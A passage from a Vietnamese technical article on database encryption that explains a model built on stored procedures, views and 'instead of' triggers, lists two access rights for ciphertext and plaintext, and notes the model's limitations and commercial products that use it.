Hiện tại, trên thị trường sản phẩm mã hóa CSDL, Secure.Data của công ty Protegrity sử dụng mô hình proxy nêu trên.

2. Sử dụng cơ chế sẵn có trong CSDL

Mô hình này giải quyết các vấn đề mã hóa cột dựa trên các cơ chế sau:
Các hàm Stored Procedure trong CSDL cho chức năng mã hóa và giải mã
Sử dụng cơ chế View trong CSDL tạo các bảng ảo, thay thế các bảng thật đã được mã hóa.
Cơ chế “instead of” trigger được sử dụng nhằm tự động hóa quá trình mã hóa từ View đến bảng gốc.

Trong mô hình này, dữ liệu trong các bảng gốc sẽ được mã hóa, tên của bảng gốc được thay đổi. Một bảng ảo (View) được tạo ra mang tên của bảng gốc, ứng dụng sẽ truy cập đến bảng ảo này.

Truy xuất dữ liệu trong mô hình này có thể được tóm tắt như sau:

Các truy xuất dữ liệu đến bảng gốc sẽ được thay thế bằng truy xuất đến bảng ảo.

Bảng ảo được tạo ra để mô phỏng dữ liệu trong bảng gốc. Khi thực thi lệnh “select”, dữ liệu sẽ được giải mã cho bảng ảo từ bảng gốc (đã được mã hóa). Khi thực thi lệnh “Insert, Update”, “instead of” trigger sẽ được thi hành và mã hóa dữ liệu xuống bảng gốc.

Quản lý phân quyền truy cập đến các cột sẽ được quản lý ở các bảng ảo. Ngoài các quyền cơ bản do CSDL cung cấp, hai quyền truy cập mới được định nghĩa:
Người sử dụng chỉ được quyền đọc dữ liệu ở dạng mã hóa (ciphertext). Quyền này phù hợp với những đối tượng cần quản lý CSDL mà không cần đọc nội dung dữ liệu.
Người sử dụng được quyền đọc dữ liệu ở dạng giải mã (plaintext).

Giải pháp nêu trên có lợi điểm đơn giản, dễ phát triển. Tuy nhiên, do các giới hạn về cơ chế view, trigger và cách thức quản trị dữ liệu, giải pháp này có những hạn chế sau:
Những cột index không thể được mã hóa, do đó hạn chế các ứng dụng cần hỗ trợ index
Dữ liệu mã hóa có kích thước lớn so với dữ liệu gốc. Sự chênh lệch này không đáng kể đối với các dữ liệu chữ (text), nhưng rất đáng kể đối với các dữ liệu số và dạng nhị phân. Ví dụ, dữ liệu số 1 byte sẽ bị tăng lên 2 byte sau khi mã hóa.
Tốc độ truy cập CSDL giảm do quá trình thực thi tầng mã hóa

Hiện nay, trên thị trường sản phẩm mã hóa CSDL, DBEncrypt và nCypher phát triển theo mô hình trên.

Phùng Hải – CISSP

Trang sau »